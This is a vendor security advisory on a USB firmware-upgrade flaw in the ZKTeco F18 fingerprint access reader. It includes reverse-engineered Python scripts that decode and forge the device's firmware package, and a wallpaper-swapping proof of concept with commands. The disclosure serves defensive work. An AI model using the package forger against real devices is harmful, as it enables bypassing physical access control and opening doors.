Security incident? Suspected breach? 09 71 18 27 69 csirt@synacktiv.com

SYNACKTIV

VULNERABLE UPGRADE MECHANISM IN ZKTECO F18 DEVICE

16/10/2025

Product	Severity	Fixed Version(s)
ZKTeco F18	High	N/A
Affected Version(s)	**CVE Number**	**Authors**
Latest	N/A	Jean-Baptiste Mesnard-Sense Paul Barbé

DESCRIPTION

PRESENTATION

ZKTeco is a multinational enterprise specialized in the manufacture and development of biometrics and RFID technology solutions for the Security industry. His main focus is on Biometrics such as face recognition, palm-vein recognition, fingerprint, and iris recognition, applied to Time Attendance, Access Control Systems, Video Surveillance and many more areas.

The ZKTeco F18 is an RFID and biometric fingerprint reader for access control application still widely used in some regions. The hardware platform uses ZMM210 core-board with 1.2Ghz CPU. The device offers flexibility of both standalone installation and installation with any third-party access control panels which support standard Wiegand signal. TCP/IP and RS485 are also available which enable F18 to be applied in different network.

ISSUE(S)

Synacktiv discovered the following vulnerability in the ZKTeco F18 device during a security audit:

- Abuse of the firmware upgrade mechanism through USB key

Using the identified vulnerability from a physical access, it was possible to gain arbitrary code execution on the device, modify settings or create an arbitrary access to bypass the access control check or open the door.

AFFECTED VERSIONS

At the time this report is written, the latest version of the firmware is affected. The discovered vulnerability was tested on the F22 device which is not vulnerable. Others devices from ZKTeco were not tested.

TIMELINE

Date	Description
2023-06-02	First contact with service@zkteco.com to ask for a GPG key
2023-06-02	Answer from ZKTeco asking for more details
2023-06-08	No more answer from service@zkteco.com

Date	Description
2023-06-28	New email sent to support@zkteco.eu
2023-07-18	New email sent to service@zkteco.com
2023-07-18	New email sent to PSIRT@zkteco.com
2023-09-02	Advisory sent to service@zkteco.com, support@zkteco.eu, and PSIRT@zkteco.com
2025-09-12	Confirmation that F22 devices are not vulnerable
2025-10-16	Security advisory publication

TECHNICAL DETAILS

DESCRIPTION

While plugging a USB key in the ZKTeco F18 device, the Synacktiv experts identified the creation of a `log.txt` file.

```
$ cat /mnt/usbdisk/log.txt
2022-12-08 0:09:05 /mnt/removable/md5 not found
```

When naively creating such a file with a MD5 hash in it, no new message is displayed in the `log.txt` file. Then, the udev rules were analyzed in order to understand the underlying logic:

```
# cat /etc/udev/rules.d/10-usb.rules
# automount the usb card
KERNEL=="sd[a-z]", RUN+="/etc/udev/scripts/usb.sh %k"
KERNEL=="sd[a-z][1-9]", RUN+="/etc/udev/scripts/usb.sh %k"
```

The `usb.sh` script is as follows:

```
# cat /etc/udev/scripts/usb.sh
#!/bin/bash

if [ "$ACTION" == "add" ]
then
    if [ ! -d /mnt/usbdisk ]; then
        /bin/mkdir /mnt/usbdisk
    fi
    /bin/mount -t vfat -o sync,codepage=936,iocharset=utf8 /dev/$1 /mnt/usbdisk
    if [ $1 != "sda" ]
    then
        /etc/usbaction.sh
        /bin/echo "---------automount /dev/$1 to /mnt/usbdisk------------" > /dev/console
    fi
elif [ "$ACTION" == "remove" ]
then
    /bin/sync
    /bin/umount /mnt/usbdisk
#    /bin/rm -rf /mnt/usbdisk
    if [ $1 != "sda" ]
    then
        /bin/echo "--------autoumount /dev/$1 from /mnt/usbdisk --------" > /dev/console
    fi
fi
```

Following the workflow, the device is mounted to `/mnt/usbdisk` and then an additional `usbaction.sh` script is launched. Here is the important part:

```
#!/bin/sh

now=$(date '+%Y-%m-%d %k:%M:%S')
printlog()
{
  echo $1
  echo $1 >> /mnt/usbdisk/log.txt
}

if [ ! -f /usr/sbin/update ]; then
         return
 fi
```

```
 if [ ! -f /mnt/usbdisk/md5 ]; then
        printlog "${now} /mnt/removable/md5 not found"
          return
 fi

 busybox cmp /root/.md5 /mnt/usbdisk/md5
 if [ $? -eq 0 ]
 then
         printlog "${now} md5 equals,updating not required "
            return
 fi

/usr/sbin/update /mnt/usbdisk/emfw.cfg
if [ $? -ne 0 ]
then
         printlog "${now} executing /usr/sbin/update /mnt/removable/emfw.cfg failed,result=${result}. "
         return
fi

sync
printlog "${now} updating firmware successfully. "
#printlog "${now} starting extracting update.tgz to /mnt/mtdblock. "
tar -xvzf /mnt/mtdblock/update/update.tgz -C /mnt/mtdblock
result=$?
#printlog "${now} tar updte.tgz ,result=$result"
cat /mnt/usbdisk/md5 > /root/.md5
sync
rm -rf /mnt/mtdblock/update
reboot

#printlog "${now} tar update.tgz successfully,ready to reboot"
reboot
while true
do
printlog "${now} wating for reboot finished ..."
sleep 1
done
```

If the MD5 hash of the USB key is different from one in the `/root` directory, the `/usr/sbin/update` binary is called in order to extract an `update.tgz` archive from an `emfw.cfg` file and untar it in the root directory of the device to `/mnt/mtdblock`.

Additional information for this binary:

```
$ file /usr/sbin/update
/usr/sbin/update: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interprete
r /lib/ld.so.1, for GNU/Linux 2.6.0, with debug_info, not stripped
```

A valid `emfw.cfg` file can be found on the following website. It consists of a valid TXT file with hexadecimal content:

```
$ cat emfw.cfg
ZEM510_C3_FirmwareVersion=AC Ver 4.1.9 Apr 19 2012
FirmwareLength=375355
FirmwareCheckSum=27332
[FirmwareData]Data0=1B5583FF7120F04FA21C860B659C115ECF8C4F23C5DD59DA29FA7D02702E701952EAD7311968D83D54DCD6
FD29C977D27FD28261DD8B320C06B6C6CCAB407444E5050FBF7EE4BB41705776D6E2C1985E3009F549B26BFC83228A7D72FF81B9F9
3458E7E2E8A47578F45F6B15B70C47AEC1D917124491272E3DDDAD015445AF7FDA949142E637EDAEC5957DB8AE64324DB81BC73A9B
A6AD03F533FA6AC4452CD8B5E0B6955170A8C46328AD5325288966AB468B9B4C160FE79F71AFAF72BC446F888A834CEC753EBEC5D7
37F0F0AD83537AFF6BB3AF050A1B4017CD626CDE6A08F84136AFBE8DCC429D060028465F1841A3BD9B5FF6B460DF2DAF49D0C5795A
C58A9D19D12BEE1B4524FB1836E5085541FC318DFB61EB2F8C724CED01250B9679736C733120C16BFE8535EB8F32C2395D3FF074D9
8D8080450BF8023F403FA688B80AA5021AD6FBB4CD3CE8E4C3A0FD005CB032EB0AA1BB3E9769E78CBE82E24E53BFFC2D522D1736AA
301923092D91756B520EDF24D79ACB8CC917F81C27F0F0B2043298F101A92319EACA236891A33695E5CEE6382FE217B1DD31E55232
694C621E643909700C889A04A23EDF0860BF03020691D37F5A39D7321A6FB00E42795DD89EC02EC301C70F58CEF0692A73146DCCCC
```

```
E84EE1FF2909F741FB92F660D86150BE14CED40312FBCB060FAC330EE5DFD4F971406ACC7FF46C976A5EF8F184CD3818F56E08673E
00EE5561E64C15914784C31E271F26457FC85B98907B5EC6B28566FD25A7C25134AC9E09411A95AA8DF438CD27000391569A70B533
287F212AC39F1F6189CB758CA87F8422813409E930026742B26DB746E66B20BF8A4297B2C39DF9E18855396306ADF7CF9FCCD5EC11
E6795E685C9E9B51D74355DE1D8F487D5A97D17BB568C32EE5B1582B531BB2E00DD477847F7AB9EB4489B6520360031BB05ECA3EF2
9D5E505453C038CBCF586FF32433A32E77B1DC75457F840755C94192864410B8CB2ED3A4FD843C719F3B4DB6D94B074592F09F4030
120380C14AFB7D324350BFA768CF28E4B96469DE62A06EF200A34B272B361C8F4B4CA1219607D4DCCD423BA76503EDDF1CF506876B
16AC909603BB108DA4F389E6C9DFC9E5FAF43F8009AC129DB929AA1323F72AA4D3C3520B882284ACD6E473153FB2F3ADE706B64450
87CE2B9085D457FCDDC526E50D0D868795BE28D1CDCB4CDA576D58628AA29AF8EE42BE0935175B8913542B470B58F84FAE06B749CD
19D8BF56B671039411EA1F31646AABF9B89236FF95D708E96B4519FC1C3F1EEE349F86584BA6DF3DD59F5DDA761CA2FA26D59FEB0A
A82CBD3E4963B0C51FC7E695A907947C744FCBEF13E8C4A4DE1AF7C01072D24C3AE9B87A131911DB524966E4910DBF9C4B88FAC080
8DDA60
Data1=2EFF6BF093B1F094CED5BE0CA4082CD6B0945002E4311880111089E36A2F291738C8752D4A6FDA42C57D2
[...]
```

The binary, once called on this file, generated the following archive:

```
# ls
app              commonres        data             dpm.dat          drivers          eerom.txt        emf
w.cfg         kill.sh          lib              logdir           mgcfg-mips       miniguires       script
service          ssrrealtime.dat  wav              webcomm

# /usr/sbin/update emfw.cfg
LENGTH: 375355
CHECKSUM: 27332
[UPDATE]: SUCCESS

# ls
app              data             drivers          emfw.cfg         lib              mgcfg-mips       scri
pt           ssrrealtime.dat  wav
commonres        dpm.dat          eerom.txt        kill.sh          logdir           miniguires       serv
ice          update           webcomm

# ls update/
update.tgz
```

The following Python script was created by reverse engineering the `update` binary, to reproduce the `zkfp_ExtractPackage` function:

```
#!/usr/bin/python

import sys
import binascii
from struct import pack, unpack_from

if len(sys.argv) != 2:
        print("usage: %s <file>" % sys.argv[0])
        sys.exit(1)

hex_data = b""
with open(sys.argv[1], "rb") as f:
                for l in f:
                        if l.startswith(b"Data"):
                                enc = l.split(b"=")[1].rstrip(b"\x0d\x0a")
                                hex_data += enc

data = bytearray(binascii.unhexlify(hex_data))
size = len(data)

trailer = data[-16:] + pack("<L", size)

for i in range(10):
        xval = i^trailer[19-i]
```

```
        trailer[i] = trailer[i] ^ ((xval + (xval%0xf)) & 0xff)

for i in range(2,len(data)-16):
        data[i] = data[i] ^ trailer[i%20]

with open("fw.bin","wb") as f:
        f.write(b"\x1f\x8b" + data[2:-16] + trailer[:16])
```

By reversing the logic, the following Python script was created to generate a valid `emfw.cfg` file:

```
#!/usr/bin/python

import sys
import binascii
from struct import pack, unpack_from

if len(sys.argv) != 2:
    print("usage: %s <file>" % sys.argv[0])
    sys.exit(1)

data = b""
with open(sys.argv[1], "rb") as f:
    data = f.read()

data = bytearray(data)
size = len(data)

trailer = data[-16:] + pack("<L", size)
trailer_orig = data[-16:] + pack("<L", size)

for i in range(10):
        xval = i^trailer[19-i]
        trailer[i] = trailer[i] ^ ((xval + (xval%0xf)) & 0xff)

for i in range(2,len(data)-16):
        data[i] = data[i] ^ trailer_orig[i%20]

hex_data = binascii.hexlify(b"\x1B\x55" + data[2:-16] + trailer[:16])

header = """[Options]
ZEM510_C3_FirmwareVersion=AC Ver 4.1.9 Apr 19 2012
FirmwareLength={}
FirmwareCheckSum=27331
[FirmwareData]
""".format(size)

data = b""
if len(hex_data) < 2000:
    data += b"Data0="+hex_data.upper()+b"\n"
else:
    for i in range(int(len(hex_data)/2000)+1):
        if(i >= 1 and len(hex_data[i*2000:(i+1)*2000])== 0):
            break
        data += b"Data"+str(i).encode()+b"="+hex_data[i*2000:(i+1)*2000].upper()+b"\n"
data += b'\n'

with open("emfw.cfg","wb") as f:
        f.write(header.encode()+data)
```

Putting all pieces together, a harmless proof-of-concept modifying the wallpaper was made in order to illustrate the vulnerability:

```
$ tar -czvf update.tgz *
mtdblock/commonres/
mtdblock/commonres/wallpaper/
mtdblock/commonres/wallpaper/exploit.png

$ python3 fw_encryption.py update.tgz
```

The following firmware file is then created and stored on a removable device alongside a fake MD5 hash:

```
$ cat emfw.cfg
[Options]
ZEM510_C3_FirmwareVersion=AC Ver 4.1.9 Apr 19 2012
FirmwareLength=365
FirmwareCheckSum=27331
[FirmwareData]
Data0=1B550800F8A35E0127CC6A503163C3407104F07F6A5BB4D839EEC2839427DAAB694EA562DED522826B630D2ADEEE36AAF18A
CCB3671781A363C4C955A19B209DA4A7618384748E31824A23C5DB2B793F0E2EE4056A53B0CF89A1EADE4E596F81EB867934C6FC99
6B1224E78A9F6D8F09A7514AE3A939178A20591DE2CF1E85AE734235A893491E1C683CF75DFE4FD9DD0628D06C1C6A35DD19D44AE8
D27E211415FD8FC2EF5E411BB12A9D2A5936D44A85A67FC1D25EFFAAE87BA122361738DD730567B757EE96B67FF20EBF18D7B1FF74
E66AF7FFB22A18A46D503F1924E4FD67452D2AEE0BCB46BB64EAD9A11B51A44E24ED8CBF1F65D8DB9C1BAC7A846716BA6A8FCF0F5C
2299A2F4D39251E431B57B96DABECBFB4D334A855B7F2C066F6E77B3559BD3E41F9D4DCD59270873F6167C99C5925D481AA4CC71D0
2EA7BED0C55DECFEEC8AC99C3E893B62D8A6915468497FF5D004000000F8A35E012700020673F0A9710FB65A878400280000

$ echo -n Synacktiv POC | md5sum > /media/synacktiv/6406-0B44/md5

$ cp emfw.cfg /media/synacktiv/6406-0B44/emfw.cfg
```

Once plugged on the biometric device, the modification of the `/mnt/mtdblock/data/wallpaper` files has indeed occurred.

```
$ telnet 192.168.1.201 10086
Trying 192.168.1.201...
Connected to 192.168.1.201.
Escape character is '^]'.

Welcome to Linux (ZMM220) for MIPS
Kernel 3.0.8 on an MIPS
(none) login: root
Password:
Processing /etc/profile... Done
# ls /mnt/mtdblock/commonres/wallpaper/
wallpaper1.png    wallpaper3.png    wallpaper5.png    exploit.png
wallpaper2.png    wallpaper4.png    wallpaper6.png
```

IMPACT

Using the identified vulnerability from a physical access, an attacker would be able to gain arbitrary file write on the device. They would then be able to modify settings or sensitive files on the file system. It would allow to create an arbitrary access to bypass the access control check or open the door.

RECOMMENDATION

The F18 device is not sold by ZKTeco anymore but still widely used in some regions. It is thus recommended to delete the udev rule located in `/etc/udev/rules.d/10-usb.rules` to prevent unauthorized upgrade from a USB device.